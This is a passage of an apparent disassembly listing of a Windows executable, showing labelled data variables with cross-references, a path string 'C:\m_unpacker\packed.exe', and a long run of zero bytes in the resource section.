					; sub_418B6E+91w
dword_48A014	dd 0			; DATA XREF: sub_418833+1B9w
					; sub_418D0E:loc_418D8Aw ...
dword_48A018	dd 0			; DATA XREF: sub_4197F9+35w
					; sub_41A6B7:loc_41A751w ...
dword_48A01C	dd 0			; DATA XREF: sub_41FEC6+13Ar
		dd 0A28h, 501h,	5, 1
dword_48A030	dd 1			; DATA XREF: ___:loc_40E98Cr
					; ___:0041F2D1w
dword_48A034	dd 23F0B30h		; DATA XREF: ___:0040E995r
					; ___:0040E9B5r ...
		dd 0
dword_48A03C	dd 23F0B58h		; DATA XREF: ___:0041F1CBw
					; sub_421DAE+9r ...
dword_48A040	dd 0			; DATA XREF: sub_422492+36r
dword_48A044	dd 0			; DATA XREF: sub_421DAE+16r
					; sub_42217C+4r ...
		dd 0
off_48A04C	dd offset aCM_unpackerPac ; DATA XREF: ___:0041F26Ew
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_48A054	db 0			; DATA XREF: sub_419B07+2Dw
					; sub_41FAE7+5r
		align 4
dword_48A058	dd 0			; DATA XREF: sub_419B07+27w
dword_48A05C	dd 0			; DATA XREF: sub_419B07+4r
					; sub_419B07+8Bw
dword_48A060	dd 0			; DATA XREF: ___:loc_41F199r
					; ___:loc_41F1DBr ...
		align 8
dword_48A068	dd 0			; DATA XREF: sub_419CDAr sub_41F84Cr ...
dword_48A06C	dd 0			; DATA XREF: sub_41A8A2+37r
		dd 0
dword_48A074	dd 0			; DATA XREF: sub_417B89r
					; sub_41944F:loc_41956Br ...
dword_48A078	dd 0			; DATA XREF: sub_41AB54r
dword_48A07C	dd 0			; DATA XREF: sub_41BA22+4Bw
					; sub_41BB3B+2Dw ...
dword_48A080	dd 0			; DATA XREF: sub_41C96D+11r
					; sub_41CA71+1Ar ...
byte_48A084	db 0			; DATA XREF: sub_41C96D+3r
					; sub_41C96D+98r ...
		align 4
dword_48A088	dd 0			; DATA XREF: sub_41CA71+11r
					; sub_41CB4F+21w ...
byte_48A08C	db 0			; DATA XREF: sub_41CB4F+51w
		align 10h
dword_48A090	dd 0			; DATA XREF: sub_41CD45+4Er
					; sub_41D120+3Ar ...
dword_48A094	dd 0			; DATA XREF: sub_41CD45+5Cr
					; sub_41D120+43r ...
dword_48A098	dd 0			; DATA XREF: sub_417FFA+7Ar
					; sub_41CEEC+5r
dword_48A09C	dd 0			; DATA XREF: sub_41D4FC+29r
dword_48A0A0	dd 2 dup(0)		; DATA XREF: sub_418790+Co
dword_48A0A8	dd 0			; DATA XREF: sub_419063+4r
					; sub_419063+6Er ...
		dd 3 dup(0)
dword_48A0B8	dd 0			; DATA XREF: sub_4199B9+61r
					; sub_4199B9+BFr ...
		align 10h
dword_48A0C0	dd 1			; DATA XREF: sub_41E709+28r
					; sub_41E709+4Cw ...
dword_48A0C4	dd 1			; DATA XREF: sub_41E92D:loc_41EAA8r
					; sub_41EAC6+4w ...
dword_48A0C8	dd 0			; DATA XREF: ___:0041EFE5r
					; ___:0041EFF1w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_41F257o
					; ___:off_48A04Co
		align 4
		dd 3Ah dup(0)
dword_48A1D0	dd 1			; DATA XREF: ___:0041F48Fr
					; ___:0041F4B0w ...
dword_48A1D4	dd 0			; DATA XREF: sub_41F84C+21r
dword_48A1D8	dd 0			; DATA XREF: sub_41A8A2:loc_41A8CBw
					; sub_41A96C+154w ...
dword_48A1DC	dd 1			; DATA XREF: sub_41FB63+26r
					; sub_41FB63:loc_41FBCDw
dword_48A1E0	dd 0			; DATA XREF: sub_41A96C+7r
		align 8
word_48A1E8	dw 0			; DATA XREF: sub_42074B+1Ao
					; sub_42074B+46r
byte_48A1EA	db 0			; DATA XREF: sub_42074B+39r
		align 4
dword_48A1EC	dd 7 dup(0)		; DATA XREF: sub_42074B+52o
dword_48A208	dd 0			; DATA XREF: sub_42074B+40w
					; sub_42074B+5Co
dword_48A20C	dd 0			; DATA XREF: sub_42074B+4Dw
dword_48A210	dd 0			; DATA XREF: sub_42074B+31w
dword_48A214	dd 0			; DATA XREF: sub_42074B+52w
dword_48A218	dd 77C26E79h		; DATA XREF: sub_42086E:loc_420891r
					; sub_42086E+38r
		align 10h
dword_48A220	dd 0			; DATA XREF: sub_42094E+11w
					; sub_42094E+63w ...
		align 8
dword_48A228	dd 0			; DATA XREF: sub_42094E+33o
					; sub_42094E+46r
dword_48A22C	dd 10h dup(0)		; DATA XREF: sub_42094E+C1o
word_48A26C	dw 0			; DATA XREF: sub_420BAC+A8r
word_48A26E	dw 0			; DATA XREF: sub_42094E+54r
					; sub_420BAC+DBr ...
word_48A270	dw 0			; DATA XREF: sub_420BAC+CAr
word_48A272	dw 0			; DATA XREF: sub_420BAC+D3r
					; sub_420BAC:loc_420C9Er
word_48A274	dw 0			; DATA XREF: sub_420BAC+C0r
word_48A276	dw 0			; DATA XREF: sub_420BAC+B8r
word_48A278	dw 0			; DATA XREF: sub_420BAC+B0r
word_48A27A	dw 0			; DATA XREF: sub_420BAC+9Er
dword_48A27C	dd 0			; DATA XREF: sub_42094E+4Br
dword_48A280	dd 10h dup(0)		; DATA XREF: sub_42094E+FBo
word_48A2C0	dw 0			; DATA XREF: sub_420BAC+46r
word_48A2C2	dw 0			; DATA XREF: sub_42094E:loc_4209C5r
					; sub_420BAC+78r ...
word_48A2C4	dw 0			; DATA XREF: sub_420BAC+67r
word_48A2C6	dw 0			; DATA XREF: sub_420BAC+70r
					; sub_420BAC:loc_420C30r
word_48A2C8	dw 0			; DATA XREF: sub_420BAC+5Dr
word_48A2CA	dw 0			; DATA XREF: sub_420BAC+55r
word_48A2CC	dw 0			; DATA XREF: sub_420BAC+4Dr
word_48A2CE	dw 0			; DATA XREF: sub_420BAC+3Er
dword_48A2D0	dd 0			; DATA XREF: sub_42094E+80r
dword_48A2D4	dd 0			; DATA XREF: sub_42094E+132r
					; sub_42094E:loc_420A9Ar ...
dword_48A2D8	dd 0			; DATA XREF: sub_420939r sub_420939+Ew
dword_48A2DC	dd 0			; DATA XREF: sub_42105F+3r
					; sub_42105F+2Ew ...
dword_48A2E0	dd 0			; DATA XREF: sub_42105F+43w
					; sub_42105F:loc_4210AEr
dword_48A2E4	dd 0			; DATA XREF: sub_42105F+4Aw
					; sub_42105F+60r
dword_48A2E8	dd 0			; DATA XREF: sub_41FEC6+3Fr
dword_48A2EC	dd 0			; DATA XREF: sub_421C3C:loc_421CA3r
					; sub_421C3C+6Do
dword_48A2F0	dd 0			; DATA XREF: sub_421C3C:loc_421C7Ar
					; sub_421C3C+44o
dword_48A2F4	dd 0			; DATA XREF: sub_421C3C:loc_421C6Dr
					; sub_421C3C+37o
dword_48A2F8	dd 0			; DATA XREF: sub_421C3C:loc_421C87r
					; sub_421C3C+51o
		align 10h
dword_48A300	dd 0			; DATA XREF: sub_4221EA+28r
					; sub_4221EA+48w ...
dword_48A304	dd 0			; DATA XREF: sub_422C78+28r
					; sub_422C78+4Cw ...
dword_48A308	dd 0			; DATA XREF: sub_422F03+26r
					; sub_422F03:loc_422F6Dw
byte_48A30C	db 0			; DATA XREF: sub_40482Cr sub_40482C+9w
		align 10h
dword_48A310	dd 23F1140h		; DATA XREF: sub_41A835:loc_41A846r
					; sub_41AADC+14r ...
		align 10h
dword_48A320	dd 400h	dup(0)		; DATA XREF: ___:off_43BCB8o
					; ___:0043BCC0o
dword_48B320	dd 200h			; DATA XREF: sub_41A835+9r
					; sub_41A835+56r ...
		dd 7 dup(0)
dword_48B340	dd 23F0650h		; DATA XREF: sub_419D23+B1r
					; sub_41E248+75r ...
dword_48B344	dd 3Fh dup(0)		; DATA XREF: ___:0041F651o
dword_48B440	dd 20h			; DATA XREF: sub_41A6B7+8r
					; sub_41E321+Cr ...
dword_48B444	dd 4E4h			; DATA XREF: sub_41E92D+14r
					; sub_41E92D+65w ...
		align 10h
dword_48B450	dd 3 dup(0)		; DATA XREF: sub_41E92D+123o
					; sub_41E92D+171o ...
dword_48B45C	dd 0			; DATA XREF: sub_41E92D+108w
					; sub_41E92D+15Dw ...
byte_48B460	db 0			; DATA XREF: sub_41EB6C:loc_41EC78w
					; sub_41EB6C:loc_41EC95w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_48B560	db 0			; DATA XREF: sub_41E92D+5Co
					; sub_41E92D+AFo ...
byte_48B561	db 0			; DATA XREF: sub_4192B8+5Dr
					; sub_41E92D+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_48B664	dd 0			; DATA XREF: sub_41E92D+6Ew
					; sub_41E92D+12Bw ...
dword_48B668	dd 0			; DATA XREF: sub_41B3E6+5r
					; sub_41B3E6+32w
dword_48B66C	dd 0			; DATA XREF: sub_41ADB4+23Ar
					; sub_41ADB4+25Ar ...
dword_48B670	dd 0			; DATA XREF: sub_41ADB4+311w
					; sub_41B0DD:loc_41B12Dr ...
dword_48B674	dd 0			; DATA XREF: sub_41ADB4+22Dr
					; sub_41ADB4+260r ...
dword_48B678	dd 0			; DATA XREF: sub_41AD89r
					; sub_41ADB4+2CBr ...
dword_48B67C	dd 0			; DATA XREF: sub_41AD89+8r
					; sub_41ADB4+2D0r ...
dword_48B680	dd 0			; DATA XREF: sub_417BC7+Fr
					; sub_41944F+5Cr ...
dword_48B684	dd 23F0000h		; DATA XREF: sub_417BC7+66r
					; sub_417C3B+5Ar ...
dword_48B688	dd 1			; DATA XREF: sub_417BC7r sub_417C3B+Cr ...
dword_48B68C	dd 142340h		; DATA XREF: ___:0041F13Er
					; ___:0041F269r
dword_48B690	dd 1			; DATA XREF: ___:0041F234w sub_421DAEr
dword_48B694	dd 1			; DATA XREF: sub_41ECF1r
					; sub_41ECF1+11w ...
dword_48B698	dd 23F0758h		; DATA XREF: sub_418603+13r
					; sub_418603:loc_418645r ...
dword_48B69C	dd 23F0758h		; DATA XREF: sub_418603+1r
					; sub_418603+Cr ...
		dd 258h	dup(0)
		dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___		ends

; Section 2. (virtual address 0008D000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 0008D000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 48D000h
unk_48D000	db    0			; DATA XREF: Themida_:004EECCCo
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
